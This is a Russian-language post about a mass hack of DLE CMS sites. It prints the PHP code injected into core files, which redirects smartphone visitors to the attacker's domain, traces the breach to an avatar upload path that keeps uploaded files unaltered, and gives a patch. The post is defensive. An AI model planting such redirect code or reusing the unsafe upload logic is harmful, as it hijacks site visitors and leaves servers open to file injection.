Этот новый год начался забавно.
Много лет в известном всем движке CMS DLE существовала уязвимость и никто на нее не обращал внимание. Но вот в начале этого года примерно с 6 января, видимо устав от празднования Нового года, хакер под псевдонимом tehApocalypse взломал несколько десятков тысяч сайтов на CMS DLE.
Взлом заключался во внедрении кода в несколько файлов DLE для перенаправления посетителей зараженных сайтов на сайт злоумышленника.
index.php engine/engine.php engine/init.php engine/data/config.php engine/data/dbconfig.php
Перенаправление происходило только для пользователей сматфонов и прочих продвинутых телефонов.
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone"); $android = strpos($_SERVER['HTTP_USER_AGENT'],"Android"); $palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS"); $berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry"); $ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod"); if ($iphone || $android || $palmpre || $ipod || $berry === true) { header('Location: http://statuses.ws/'); }
Итак как же исправить эту уязвимость в DLE?
В нескольких файлах, в которых мы можем редактировать профиль пользователя и загружать аватар для этого пользователя есть такой код:
if( $thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ) ) { $thumb->jpeg_quality( $config['jpeg_quality'] ); $thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type ); } else { @rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type ); }
Так вот все дело в этой строчке
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
Т.е. если аватар не надо изменять по размеру то исходный инжектированный файл копируется в первоначальном виде для дальнейшего использования.
Необходимо преобразовать этот блок кода в новый:
$thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ); $thumb->jpeg_quality( $config['jpeg_quality'] ); $thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
После этого загрузить аватар с вредоносным кодом будет невозможно.
Файлы для редактирования:
engine/inc/editusers.php
engine/modules/register.php
engine/modules/profile.php
Удачи!
Thanks!